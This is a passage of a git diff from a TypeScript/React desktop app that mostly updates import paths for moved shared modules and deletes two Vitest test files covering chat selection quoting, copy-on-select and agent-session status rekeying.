3e11cccc653..2bda1df5433 100644 --- a/src/renderer/src/components/native-chat/pane/routing/native-chat-tab-directory.ts +++ b/src/renderer/src/components/native-chat/pane/routing/native-chat-tab-directory.ts @@ -2,7 +2,7 @@ import { isFloatingWorkspaceId } from '../../../../../../shared/workspace/identi import { resolveWorkspaceDirectory } from '@/lib/workspace/paths/workspace-directory' import type { WorkspaceDirectoryState } from '@/lib/workspace/paths/workspace-directory' import { firstRegisteredStructuredChatTab } from '@/lib/agent-session/tab-identity/structured-chat-tab-index' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { StructuredSessionLaunchDirectory } from '@/store/slices/agent-status/structured-session-launch-directories' type NativeChatDirectoryTab = { diff --git a/src/renderer/src/components/native-chat/selection-quotes/NativeChatSelectionQuote.test.tsx b/src/renderer/src/components/native-chat/selection-quotes/NativeChatSelectionQuote.test.tsx deleted file mode 100644 index 76a6ac7f8e7..00000000000 --- a/src/renderer/src/components/native-chat/selection-quotes/NativeChatSelectionQuote.test.tsx +++ /dev/null @@ -1,215 +0,0 @@ -// @vitest-environment happy-dom -import { act, cleanup, fireEvent, render, screen } from '@testing-library/react' -import { Editor } from '@tiptap/react' -import StarterKit from '@tiptap/starter-kit' -import { useRef } from 'react' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import type * as I18n from '@/i18n/i18n' -import { getShortcutPlatform } from '@/lib/keyboard/shortcut-platform' -import { createGlobalSettingsFixture } from '../../../../../shared/global-settings-test-fixture' -import { useAppStore } from '../../../store/index' -import { focusMountedNativeChatEditor } from '../composer/editor/native-chat-mounted-editor-view' -import { routeNativeChatRootKeyToInput } from '../composer/focus/native-chat-root-key-routing' -import type { NativeChatComposerHandle } from '../composer/native-chat-composer-types' -import { NativeChatMarkdown } from '../markdown/NativeChatMarkdown' -import { NativeChatSelectionQuote } from './NativeChatSelectionQuote' -import { NATIVE_CHAT_QUOTE_SOURCE_PROPS } from './native-chat-quote-selection' - -vi.mock('@/i18n/i18n', async (importOriginal) => ({ - ...(await importOriginal()), - translate: (_key: string, fallback: string) => fallback -})) - -const appendText = vi.fn<(text: string) => void>() -const acceptsText = vi.fn(() => true) -const composer: NativeChatComposerHandle = { - focus: () => true, - insertAgentReferences: () => false, - insertTypedText: () => true, - appendText, - acceptsText, - handlePasteEvent: () => {}, - pasteFromClipboard: () => {}, - contains: () => false -} - -function Chat({ - mathSource, - routedComposer -}: { - mathSource?: string - /** Routes root keydowns to this composer, as the chat pane does. */ - routedComposer?: NativeChatComposerHandle -}): React.JSX.Element { - const rootRef = useRef(null) - return ( -
routeNativeChatRootKeyToInput(event, routedComposer, null) - : undefined - } - > -
-

my own prompt

-
- {mathSource ? ( - - ) : ( -
{'Use the draft store.\n\nIt already appends.'}
- )} -
- -

a tool line

-
-

a draft reply

- -
- ) -} - -function select(from: HTMLElement, to: HTMLElement = from, endOffset?: number): void { - const range = document.createRange() - range.setStart(from.firstChild!, 0) - range.setEnd(to.firstChild!, endOffset ?? to.textContent!.length) - const selection = window.getSelection()! - selection.removeAllRanges() - selection.addRange(range) - document.dispatchEvent(new Event('selectionchange')) -} - -function settle(): void { - act(() => { - vi.runOnlyPendingTimers() - }) -} - -function releaseSelection(from: HTMLElement, to: HTMLElement = from, endOffset?: number): void { - fireEvent.pointerDown(from, { button: 0 }) - select(from, to, endOffset) - fireEvent.mouseUp(to, { button: 0 }) - settle() -} - -describe('NativeChatSelectionQuote', () => { - beforeEach(() => { - vi.useFakeTimers() - }) - - afterEach(() => { - cleanup() - window.getSelection()?.removeAllRanges() - appendText.mockClear() - acceptsText.mockReset().mockReturnValue(true) - vi.useRealTimers() - }) - - it('takes a selection that runs on over text that cannot be selected', () => { - render() - releaseSelection(screen.getByTestId('first'), screen.getByTestId('time')) - expect(screen.getByRole('button', { name: 'Add to chat' })).toBeTruthy() - - // A triple-click's range: it ends at the very start of the next block. - releaseSelection(screen.getByTestId('first'), screen.getByTestId('next'), 0) - expect(screen.getByRole('button', { name: 'Add to chat' })).toBeTruthy() - - releaseSelection(screen.getByTestId('first'), screen.getByTestId('next')) - expect(screen.queryByRole('button', { name: 'Add to chat' })).toBeNull() - }) - - it('moves focus to the composer on a paste chord while the offer is open', () => { - const editor = new Editor({ element: document.body, extensions: [StarterKit] }) - const promptEditor: NativeChatComposerHandle = { - ...composer, - focus: () => { - focusMountedNativeChatEditor(editor) - return true - } - } - try { - render() - const transcript = screen.getByTestId('transcript') - transcript.focus() - releaseSelection(screen.getByTestId('first')) - expect(screen.getByRole('button', { name: 'Add to chat' })).toBeTruthy() - - const isMac = getShortcutPlatform() === 'darwin' - fireEvent.keyDown(transcript, { key: 'v', metaKey: isMac, ctrlKey: !isMac }) - expect(editor.view.dom.contains(document.activeElement)).toBe(true) - } finally { - editor.destroy() - } - }) -}) - -describe('NativeChatSelectionQuote copy on select', () => { - const originalSettings = useAppStore.getState().settings - const writeClipboardText = vi.fn<(text: string) => Promise>() - - function copyOnSelect(enabled: boolean): void { - useAppStore.setState({ - settings: createGlobalSettingsFixture({ terminalClipboardOnSelect: enabled }) - }) - } - - beforeEach(() => { - vi.useFakeTimers() - writeClipboardText.mockReset().mockResolvedValue(undefined) - vi.stubGlobal('api', { ui: { writeClipboardText } }) - copyOnSelect(true) - }) - - afterEach(() => { - cleanup() - window.getSelection()?.removeAllRanges() - useAppStore.setState({ settings: originalSettings }) - vi.unstubAllGlobals() - vi.useRealTimers() - }) - - it('copies and quotes the authored formula selection through the existing actions', () => { - const source = 'Before $x^2$ after.' - render() - const prose = screen.getByTestId('first') - fireEvent.pointerDown(prose, { button: 0 }) - const range = document.createRange() - range.selectNodeContents(prose) - const selection = window.getSelection() - selection?.removeAllRanges() - selection?.addRange(range) - document.dispatchEvent(new Event('selectionchange')) - fireEvent.mouseUp(prose, { button: 0 }) - settle() - expect(writeClipboardText).toHaveBeenCalledExactlyOnceWith(source) - fireEvent.click(screen.getByRole('button', { name: 'Add to chat' })) - expect(appendText).toHaveBeenCalledWith(`> ${source}\n\n`) - appendText.mockClear() - }) - - it('copies nothing selected outside the transcript', () => { - render() - releaseSelection(screen.getByTestId('composer')) - releaseSelection(screen.getByTestId('first'), screen.getByTestId('composer')) - - expect(writeClipboardText).not.toHaveBeenCalled() - }) - - it('copies a keyboard selection once, when it settles', () => { - render() - select(screen.getByTestId('first')) - expect(writeClipboardText).not.toHaveBeenCalled() - - fireEvent.keyUp(screen.getByTestId('first'), { key: 'Shift' }) - fireEvent.keyUp(screen.getByTestId('first'), { key: 'Shift' }) - - expect(writeClipboardText).toHaveBeenCalledTimes(1) - expect(writeClipboardText).toHaveBeenCalledWith('Use the draft store.\n\nIt already appends.') - }) -}) diff --git a/src/renderer/src/components/native-chat/session/attention/StructuredAgentSessionAttentionBridge.tsx b/src/renderer/src/components/native-chat/session/attention/StructuredAgentSessionAttentionBridge.tsx index 45e43e39060..7d0c183845a 100644 --- a/src/renderer/src/components/native-chat/session/attention/StructuredAgentSessionAttentionBridge.tsx +++ b/src/renderer/src/components/native-chat/session/attention/StructuredAgentSessionAttentionBridge.tsx @@ -1,4 +1,4 @@ -import { toRuntimeExecutionHostId } from '../../../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { useEffect, useMemo, useRef } from 'react' import { useShallow } from 'zustand/react/shallow' import { diff --git a/src/renderer/src/components/native-chat/session/attention/structured-attention-dispatch.test.ts b/src/renderer/src/components/native-chat/session/attention/structured-attention-dispatch.test.ts index f7ab521fa2a..72c95d990f4 100644 --- a/src/renderer/src/components/native-chat/session/attention/structured-attention-dispatch.test.ts +++ b/src/renderer/src/components/native-chat/session/attention/structured-attention-dispatch.test.ts @@ -3,7 +3,7 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import { setPresenceGated } from '@/hooks/agent-auto-ack-presence' import type { FolderWorkspace } from '../../../../../../shared/folder-workspaces/folder-workspace-types' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { AgentSessionTurnCompletion } from '../../../../../../shared/agent-session/view/agent-session-turn-completion-wire' import { structuredAgentSessionPaneKey } from '../../../../../../shared/agent-session/view/structured-agent-session-projection' diff --git a/src/renderer/src/components/native-chat/session/status/StructuredAgentSessionStatusBridge.launch-directory.test.tsx b/src/renderer/src/components/native-chat/session/status/StructuredAgentSessionStatusBridge.launch-directory.test.tsx deleted file mode 100644 index 32d80b19b88..00000000000 --- a/src/renderer/src/components/native-chat/session/status/StructuredAgentSessionStatusBridge.launch-directory.test.tsx +++ /dev/null @@ -1,171 +0,0 @@ -import { acceptedAgentStatuses } from '@/store/slices/agent-status/accepted-agent-statuses' -import type * as RuntimeCapabilityProofModule from '@/runtime/rpc/compatibility/runtime-capability-proof' -// @vitest-environment happy-dom - -import { act, cleanup, render, waitFor } from '@testing-library/react' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import type { - AgentSessionStatusEvent, - AgentSessionStatusSummary -} from '../../../../../../shared/agent-session/agent-session-wire' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host' -import type { Tab } from '../../../../../../shared/workspace-layout/tab-groups/tab-types' -import type { AppState } from '@/store/types' - -import { makeWorktree } from '@/store/slices/worktrees/worktree.test-fixture' - -type TestStore = { - getState: () => AppState - setState: (state: Partial) => void -} - -const mocks = vi.hoisted(() => { - const hoisted: { - store: TestStore | null - subscribeStatus: ReturnType - supportsCapability: ReturnType - unsubscribe: ReturnType - applyStatus: ReturnType void>> - } = { - store: null, - subscribeStatus: vi.fn(), - supportsCapability: vi.fn(), - unsubscribe: vi.fn(), - applyStatus: vi.fn() - } - return hoisted -}) - -vi.mock('@/store', async () => { - const { createTestStore } = await import('@/store/testing/app-store-test-fixture') - const useAppStore = createTestStore() - const { transactAgentStatuses } = useAppStore.getState() - useAppStore.setState({ - transactAgentStatuses: (operation) => - transactAgentStatuses((transaction) => - operation({ - ...transaction, - apply: (update) => { - mocks.applyStatus(update) - return transaction.apply(update) - } - }) - ) - }) - mocks.store = useAppStore - return { useAppStore } -}) - -vi.mock('@/runtime/rpc/compatibility/runtime-capability-proof', async (importOriginal) => ({ - ...(await importOriginal()), - runtimeEnvironmentSupportsCapability: mocks.supportsCapability -})) - -vi.mock('../../../../runtime/native-chat/requests/structured-agent-session-call', () => ({ - callStructuredAgentSession: vi.fn() -})) - -vi.mock('../../../../runtime/native-chat/requests/structured-agent-session-subscriptions', () => ({ - subscribeStructuredAgentSession: vi.fn(), - subscribeStructuredAgentSessionStatus: mocks.subscribeStatus -})) - -import { useAppStore } from '@/store' - -import { StructuredAgentSessionStatusBridge } from './StructuredAgentSessionStatusBridge' -import { resetStructuredAgentSessionStatusFeedsForTests } from '@/runtime/native-chat/status/structured-agent-session-status-feed' - -const floatingTab = { - id: 'floating-chat-1', - worktreeId: FLOATING_TERMINAL_WORKTREE_ID, - groupId: 'floating-group', - contentType: 'agent-session', - entityId: 'session-1', - label: 'Codex Chat', - customLabel: null, - color: null, - sortOrder: 0, - createdAt: 0, - isPinned: false, - agentSessionAgent: 'codex', - executionHostId: LOCAL_EXECUTION_HOST_ID -} satisfies Tab - -function summary(overrides: Partial = {}): AgentSessionStatusSummary { - return { - sessionId: 'session-1', - workspaceId: FLOATING_TERMINAL_WORKTREE_ID, - agent: 'codex', - status: 'idle', - latestPrompt: 'hello', - updatedAt: 1, - ...overrides - } -} - -function statuses() { - return Array.from(useAppStore.getState().agentStatusByPaneKey.values()) -} -function feed(index = 0): { target: unknown; emit: (event: AgentSessionStatusEvent) => void } { - const call = mocks.subscribeStatus.mock.calls[index] - return { target: call[0], emit: call[1] } -} - -// Observe actual collection work without replacing the private members or groups. - -describe('StructuredAgentSessionStatusBridge pinned launch directory', () => { - beforeEach(() => { - vi.clearAllMocks() - resetStructuredAgentSessionStatusFeedsForTests() - mocks.subscribeStatus.mockResolvedValue({ unsubscribe: mocks.unsubscribe }) - mocks.supportsCapability.mockResolvedValue(true) - mocks.store?.setState({ - structuredSessionLaunchDirectoryByTabId: {}, - structuredChatSleptAtByPaneKey: {}, - agentStatusByPaneKey: acceptedAgentStatuses(Object.entries({})), - unifiedTabsByWorktree: { [FLOATING_TERMINAL_WORKTREE_ID]: [floatingTab] } - }) - }) - - afterEach(() => { - cleanup() - resetStructuredAgentSessionStatusFeedsForTests() - }) - - it('rekeys an older unstamped tab when its worktree owner arrives', async () => { - const legacyTab = { ...floatingTab, worktreeId: 'wt-1', executionHostId: undefined } - useAppStore.setState({ unifiedTabsByWorktree: { 'wt-1': [legacyTab] } }) - render() - await waitFor(() => expect(mocks.subscribeStatus).toHaveBeenCalledOnce()) - expect(feed().target).toEqual({ kind: 'local' }) - act(() => feed().emit({ type: 'snapshot', sessions: [summary({ workspaceId: 'wt-1' })] })) - act(() => - useAppStore.setState({ - worktreesByRepo: { - repo: [ - makeWorktree({ - id: 'wt-1', - repoId: 'repo', - hostId: 'runtime:env-1', - runtimeOwnerEnvironmentId: 'env-1' - }) - ] - } - }) - ) - await waitFor(() => expect(mocks.subscribeStatus).toHaveBeenCalledTimes(2)) - expect(feed(1).target).toEqual({ kind: 'environment', environmentId: 'env-1' }) - act(() => - feed(1).emit({ - type: 'snapshot', - sessions: [summary({ workspaceId: 'wt-1', updatedAt: 20 })] - }) - ) - expect(statuses()[0].updatedAt).toBe(20) - act(() => - feed().emit({ type: 'status', session: summary({ workspaceId: 'wt-1', updatedAt: 30 }) }) - ) - expect(statuses()[0].updatedAt).toBe(20) - }) -}) diff --git a/src/renderer/src/components/native-chat/session/status/structured-agent-session-tab-owner-cache.ts b/src/renderer/src/components/native-chat/session/status/structured-agent-session-tab-owner-cache.ts index fd63dc30e83..3bbd5b795e0 100644 --- a/src/renderer/src/components/native-chat/session/status/structured-agent-session-tab-owner-cache.ts +++ b/src/renderer/src/components/native-chat/session/status/structured-agent-session-tab-owner-cache.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { AppState } from '@/store/types' import type { WorktreeRuntimeOwnerState } from '@/lib/workspace/ownership/worktree-runtime-owner-state' import { worktreeOwnerRowsTokenOf } from '@/lib/workspace/ownership/worktree-owner-rows-token' diff --git a/src/renderer/src/components/new-workspace/branch-selection/ComposerBaseRefPicker.tsx b/src/renderer/src/components/new-workspace/branch-selection/ComposerBaseRefPicker.tsx index 753925bf5d2..f0fcfdc92b2 100644 --- a/src/renderer/src/components/new-workspace/branch-selection/ComposerBaseRefPicker.tsx +++ b/src/renderer/src/components/new-workspace/branch-selection/ComposerBaseRefPicker.tsx @@ -3,7 +3,7 @@ import { CreateFromPicker } from '@/components/repo/CreateFromPicker' import { useAppStore } from '@/store' import { useRepoMap } from '@/store/repos/use-repository-catalog' import { useWorktreesForRepo } from '@/store/slices/worktrees/listing/use-worktree-catalog' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { toast } from 'sonner' import { useTranslate } from '@/i18n/use-translate' diff --git a/src/renderer/src/components/new-workspace/branch-selection/ComposerParentWorktreePicker.tsx b/src/renderer/src/components/new-workspace/branch-selection/ComposerParentWorktreePicker.tsx index 9f63fe2c97f..3f504694a33 100644 --- a/src/renderer/src/components/new-workspace/branch-selection/ComposerParentWorktreePicker.tsx +++ b/src/renderer/src/components/new-workspace/branch-selection/ComposerParentWorktreePicker.tsx @@ -45,7 +45,7 @@ import type { Worktree } from '../../../../../shared/worktree/types' import { getRepoExecutionHostId, getWorktreeExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { useRepoMap } from '@/store/repos/use-repository-catalog' import { selectWorktreesByRepo } from '@/store/workspaces/catalog/workspace-record-fields' import { isCrossStoreCreateParent } from '@/components/sidebar/workspace-actions/parenting/worktree-parent-candidates' diff --git a/src/renderer/src/components/new-workspace/branch-selection/composer-parent-worktree-picker-props.ts b/src/renderer/src/components/new-workspace/branch-selection/composer-parent-worktree-picker-props.ts index 44783ac234c..0c706204fea 100644 --- a/src/renderer/src/components/new-workspace/branch-selection/composer-parent-worktree-picker-props.ts +++ b/src/renderer/src/components/new-workspace/branch-selection/composer-parent-worktree-picker-props.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' export type ComposerParentWorktreePickerProps = { repoId: string diff --git a/src/renderer/src/components/new-workspace/composer/new-workspace-composer-card-props.ts b/src/renderer/src/components/new-workspace/composer/new-workspace-composer-card-props.ts index 4cf9bfd2a9e..0136c9e8816 100644 --- a/src/renderer/src/components/new-workspace/composer/new-workspace-composer-card-props.ts +++ b/src/renderer/src/components/new-workspace/composer/new-workspace-composer-card-props.ts @@ -22,7 +22,7 @@ import type { SshConnectionStatus } from '../../../../../shared/remote-runtime/s import type { TaskSourceContext } from '../../../../../shared/work-items/task-source-context' import type { AddRepoDialogEntryRequest } from '@/components/sidebar/project-admission/dialog/add-repo-dialog-types' import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { EphemeralVmRecipeOption } from '../run-target/run-target-options' diff --git a/src/renderer/src/components/new-workspace/composer/use-new-workspace-composer-file-drop.ts b/src/renderer/src/components/new-workspace/composer/use-new-workspace-composer-file-drop.ts index 76f36b3512f..df2d8cfc6e8 100644 --- a/src/renderer/src/components/new-workspace/composer/use-new-workspace-composer-file-drop.ts +++ b/src/renderer/src/components/new-workspace/composer/use-new-workspace-composer-file-drop.ts @@ -4,7 +4,10 @@ import { createOsFileDropSequence, useOsFileDropOwner } from '@/hooks/use-os-fil import { getNativeFileDropRejectionMessage } from '@/lib/files/drop/native-file-drop-rejection-message' import { useMountedRef } from '@/hooks/useMountedRef' import { useAppStore } from '@/store' -import { parseExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' type Args = { projectPath?: string | null diff --git a/src/renderer/src/components/new-workspace/project-location/SetProjectLocationDialog.tsx b/src/renderer/src/components/new-workspace/project-location/SetProjectLocationDialog.tsx index 76454b0cc7c..a1cb6a0cda3 100644 --- a/src/renderer/src/components/new-workspace/project-location/SetProjectLocationDialog.tsx +++ b/src/renderer/src/components/new-workspace/project-location/SetProjectLocationDialog.tsx @@ -16,7 +16,7 @@ import { getProjectHostSetupSelectionKey, type NeedsSetupProjectHostOption } from '@/lib/workspace/creation/project-host-setup-options' -import { parseExecutionHostId } from '../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { RepoKind } from '../../../../../shared/repository/repo-types' import { pickLocalProjectLocationFolder } from './pick-local-project-folder' import { CloneForm, ExistingFolderForm, LocationActionButton } from './SetProjectLocationForms' diff --git a/src/renderer/src/components/new-workspace/project-selection/ProjectComboboxAddProjectOption.tsx b/src/renderer/src/components/new-workspace/project-selection/ProjectComboboxAddProjectOption.tsx index 2394eeeff2e..ea2db421d3e 100644 --- a/src/renderer/src/components/new-workspace/project-selection/ProjectComboboxAddProjectOption.tsx +++ b/src/renderer/src/components/new-workspace/project-selection/ProjectComboboxAddProjectOption.tsx @@ -6,7 +6,7 @@ import { ADD_PROJECT_MENU_ATTRIBUTE } from '@/components/sidebar/project-admissi import { AddProjectMenu } from '@/components/sidebar/project-admission/menu/AddProjectMenu' import { useTranslate } from '@/i18n/use-translate' import { cn } from '@/lib/class-names' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' export type ProjectComboboxAddProjectMenu = { defaultHostId?: ExecutionHostId | null diff --git a/src/renderer/src/components/new-workspace/project-selection/composer-add-project-default-host.ts b/src/renderer/src/components/new-workspace/project-selection/composer-add-project-default-host.ts index 678b97456ca..61f8bd6d37d 100644 --- a/src/renderer/src/components/new-workspace/project-selection/composer-add-project-default-host.ts +++ b/src/renderer/src/components/new-workspace/project-selection/composer-add-project-default-host.ts @@ -1,5 +1,5 @@ import type { ProjectHostSetupOption } from '@/lib/workspace/creation/project-host-setup-options' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' /** Sync the Add project menu's initial host with the composer's active Run on host selection. */ export function resolveComposerAddProjectDefaultHostId({ diff --git a/src/renderer/src/components/new-workspace/run-target/RunTargetCombobox.tsx b/src/renderer/src/components/new-workspace/run-target/RunTargetCombobox.tsx index bc72d466f7f..4a3a43021d0 100644 --- a/src/renderer/src/components/new-workspace/run-target/RunTargetCombobox.tsx +++ b/src/renderer/src/components/new-workspace/run-target/RunTargetCombobox.tsx @@ -8,7 +8,7 @@ import { type ProjectHostSetupOption, type ReadyProjectHostSetupOption } from '@/lib/workspace/creation/project-host-setup-options' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { isWithinComboboxRoot, useTypeAheadCombobox } from '../type-ahead/use-type-ahead-combobox' import { COMBOBOX_POPOVER_SURFACE } from '../type-ahead/type-ahead-combobox-styles' import { diff --git a/src/renderer/src/components/new-workspace/run-target/RunTargetField.tsx b/src/renderer/src/components/new-workspace/run-target/RunTargetField.tsx index 9315a445924..66e2f90ad1a 100644 --- a/src/renderer/src/components/new-workspace/run-target/RunTargetField.tsx +++ b/src/renderer/src/components/new-workspace/run-target/RunTargetField.tsx @@ -5,7 +5,7 @@ import { PopoverAnchor } from '@/components/ui/popover' import { cn } from '@/lib/class-names' import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip' import { useTranslate } from '@/i18n/use-translate' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { HostRowIcon } from '../../host-row-icon' import { COMBOBOX_FIELD_SHELL } from '../type-ahead/type-ahead-combobox-styles' diff --git a/src/renderer/src/components/new-workspace/run-target/RunTargetRowActions.tsx b/src/renderer/src/components/new-workspace/run-target/RunTargetRowActions.tsx index 738dbdc9c07..39656f9490e 100644 --- a/src/renderer/src/components/new-workspace/run-target/RunTargetRowActions.tsx +++ b/src/renderer/src/components/new-workspace/run-target/RunTargetRowActions.tsx @@ -2,7 +2,7 @@ import React from 'react' import { AlertTriangle, LoaderCircle } from 'lucide-react' import { Button } from '@/components/ui/button' import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { useTranslate } from '@/i18n/use-translate' import { HostRowIcon } from '../../host-row-icon' diff --git a/src/renderer/src/components/new-workspace/source-search/smart-workspace-provider-availability.ts b/src/renderer/src/components/new-workspace/source-search/smart-workspace-provider-availability.ts index 7973919b746..a40011488c6 100644 --- a/src/renderer/src/components/new-workspace/source-search/smart-workspace-provider-availability.ts +++ b/src/renderer/src/components/new-workspace/source-search/smart-workspace-provider-availability.ts @@ -1,4 +1,7 @@ -import { parseExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' export function canUseGitLabSmartSource({ localGitlabAvailable, diff --git a/src/renderer/src/components/new-workspace/source-search/use-composer-source-scope.ts b/src/renderer/src/components/new-workspace/source-search/use-composer-source-scope.ts index 3308046e34f..2595dedfe56 100644 --- a/src/renderer/src/components/new-workspace/source-search/use-composer-source-scope.ts +++ b/src/renderer/src/components/new-workspace/source-search/use-composer-source-scope.ts @@ -1,7 +1,7 @@ import { useState } from 'react' import type { Repo } from '../../../../../shared/repository/repo-types' import type { TaskSourceContext } from '../../../../../shared/work-items/task-source-context' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' export function useComposerSourceScope( repo: Repo | null, diff --git a/src/renderer/src/components/new-workspace/source-search/use-jira-composer-project.ts b/src/renderer/src/components/new-workspace/source-search/use-jira-composer-project.ts index dab0f00a49c..9b60f88162d 100644 --- a/src/renderer/src/components/new-workspace/source-search/use-jira-composer-project.ts +++ b/src/renderer/src/components/new-workspace/source-search/use-jira-composer-project.ts @@ -1,7 +1,7 @@ import type { JiraProjectReference } from '../../../../../shared/jira/jira-project-reference' import type { Repo } from '../../../../../shared/repository/repo-types' import type { TaskSourceContext } from '../../../../../shared/work-items/task-source-context' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { resolveJiraSourceHostId } from '../../../../../shared/jira/jira-source-host' import { useJiraProjectInventory } from '../../use-jira-project-inventory' import { useComposerSourceScope } from './use-composer-source-scope' diff --git a/src/renderer/src/components/new-workspace/source-search/use-jira-url-source.ts b/src/renderer/src/components/new-workspace/source-search/use-jira-url-source.ts index d994ed00f71..91607a96385 100644 --- a/src/renderer/src/components/new-workspace/source-search/use-jira-url-source.ts +++ b/src/renderer/src/components/new-workspace/source-search/use-jira-url-source.ts @@ -14,7 +14,7 @@ import { normalizeTaskSourceContext, type TaskSourceContext } from '../../../../../shared/work-items/task-source-context' -import { parseExecutionHostId } from '../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { WORKTREE_LINKED_WORK_ITEM_CONTEXT_RUNTIME_CAPABILITY } from '../../../../../shared/remote-runtime/protocol/worktree-runtime-capabilities' import type { JiraIssue, JiraSite } from '../../../../../shared/jira/jira-types' import { canReuseLoadedJiraStatus, type JiraSourceConnection } from './use-jira-source-connection' diff --git a/src/renderer/src/components/new-workspace/source-search/use-smart-workspace-field-availability.ts b/src/renderer/src/components/new-workspace/source-search/use-smart-workspace-field-availability.ts index b8b0119ae07..034a19f2885 100644 --- a/src/renderer/src/components/new-workspace/source-search/use-smart-workspace-field-availability.ts +++ b/src/renderer/src/components/new-workspace/source-search/use-smart-workspace-field-availability.ts @@ -1,6 +1,6 @@ import { useEffect, useMemo } from 'react' import { filterAvailableTaskProviders } from '../../../../../shared/work-items/task-providers' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { getMrStateFilters, getSmartWorkspaceNameModes } from './smart-workspace-localized-options' import { SEARCH_DEBOUNCE_MS, diff --git a/src/renderer/src/components/new-workspace/source-search/use-smart-workspace-secondary-searches.ts b/src/renderer/src/components/new-workspace/source-search/use-smart-workspace-secondary-searches.ts index 548b40a661b..9c9e2a0bc06 100644 --- a/src/renderer/src/components/new-workspace/source-search/use-smart-workspace-secondary-searches.ts +++ b/src/renderer/src/components/new-workspace/source-search/use-smart-workspace-secondary-searches.ts @@ -8,7 +8,7 @@ import { import type { LinearIssue } from '../../../../../shared/linear/issue-types' import type { LinearCollectionResult } from '../../../../../shared/linear/workspace-types' import { linearIssueViewError } from '@/lib/work-items/linear/linear-read-error' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { useEffect, useMemo, useRef } from 'react' import { searchRuntimeRepoBaseRefDetails } from '@/runtime/source-control/references/runtime-repo-client' import { lookupLinearIssueUrl } from '@/lib/work-items/linear/linear-issue-url-lookup' diff --git a/src/renderer/src/components/notification-sound-options.ts b/src/renderer/src/components/notification-sound-options.ts index e74cf581273..9df1e0e4aca 100644 --- a/src/renderer/src/components/notification-sound-options.ts +++ b/src/renderer/src/components/notification-sound-options.ts @@ -14,7 +14,7 @@ import { type LucideIcon } from 'lucide-react' import { basename } from '@/lib/path' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { translate } from '@/i18n/i18n' import { createLocalizedCatalog } from '@/i18n/localized-catalog' diff --git a/src/renderer/src/components/notifications/notification-test-delivery.ts b/src/renderer/src/components/notifications/notification-test-delivery.ts index 0f5560989a0..a95007dc2a3 100644 --- a/src/renderer/src/components/notifications/notification-test-delivery.ts +++ b/src/renderer/src/components/notifications/notification-test-delivery.ts @@ -1,5 +1,5 @@ import { toast } from 'sonner' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { usesCustomNotificationSound } from '../../../../shared/notifications/notification-settings-types' import { translate } from '@/i18n/i18n' diff --git a/src/renderer/src/components/onboarding/AgentStep.tsx b/src/renderer/src/components/onboarding/AgentStep.tsx index 183c79dfd0b..43e949fa581 100644 --- a/src/renderer/src/components/onboarding/AgentStep.tsx +++ b/src/renderer/src/components/onboarding/AgentStep.tsx @@ -5,7 +5,7 @@ import { getAgentCatalog, type AgentCatalogEntry } from '@/lib/agent-catalog/age import { Button } from '@/components/ui/button' import { Collapsible, CollapsibleContent, CollapsibleTrigger } from '@/components/ui/collapsible' import type { TuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { nativeChatPreferenceFor } from '../../../../shared/agent-launch/choices/structured-native-chat-launch-route' import { i18n } from '@/i18n/i18n' import { useTranslate } from '@/i18n/use-translate' diff --git a/src/renderer/src/components/onboarding/NotificationStep.tsx 